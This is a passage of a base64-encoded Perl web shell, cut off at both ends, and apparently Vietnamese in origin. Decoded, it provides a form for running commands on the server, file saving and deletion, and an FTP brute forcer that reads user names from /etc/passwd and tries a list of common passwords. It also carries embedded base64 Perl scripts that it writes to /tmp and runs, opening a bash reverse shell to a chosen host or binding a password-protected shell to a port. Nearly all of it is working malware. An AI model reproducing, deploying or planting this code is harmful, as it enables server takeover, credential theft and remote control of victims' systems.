gIjsKCSRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7CgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOwoJJHJlc3VsdCAuPSAgPDxFTkQ7Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgoJJFByb21wdAoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4KCTxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+Cgk8YnI+Q29tbWFuZDogPHJ1bj4gJFJ1bkNvbW1hbmQgPC9ydW4+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnCgk8YnI+PHRleHRhcmVhIGlkPSJkYXRhIiBuYW1lPSJkYXRhIiBjb2xzPSIkY29scyIgcm93cz0iJHJvd3MiIHNwZWxsY2hlY2s9ImZhbHNlIj4KRU5ECgkKCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgU2F2ZSBGaWxlCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlKCQpCnsKCW15ICREYXRhPSBzaGlmdCA7CglteSAkRmlsZT0gc2hpZnQ7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kRmlsZTsKCWlmKG9wZW4oRklMRSwgIj4kRmlsZSIpKQoJewoJCWJpbm1vZGUgRklMRTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJcmV0dXJuIDE7Cgl9ZWxzZQoJewoJCXJldHVybiAwOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlckZvcm0KewoJbXkgJHJlc3VsdD0iIjsKCSRyZXN1bHQgLj0gPDxFTkQ7Cgo8dGFibGU+Cgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPgpTaW1wbGUgRlRQIGJydXRlIGZvcmNlcjxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3U8L3RleHRhcmVhPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+Cgo8b3B0aW9uPjA8L29wdGlvbj4KPG9wdGlvbj4xPC9vcHRpb24+CjxvcHRpb24+Mjwvb3B0aW9uPgoKPG9wdGlvbj4zPC9vcHRpb24+Cjwvc2VsZWN0PiAKPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InN1Ym1pdCIgdmFsdWU9IkJydXRlIEZvcmNlciIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCEoJHVzZXJuYW1lIGVxICIiKSkKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkpOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjciIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9IlRISUVVR0lBQlVPTiI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCEKCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJC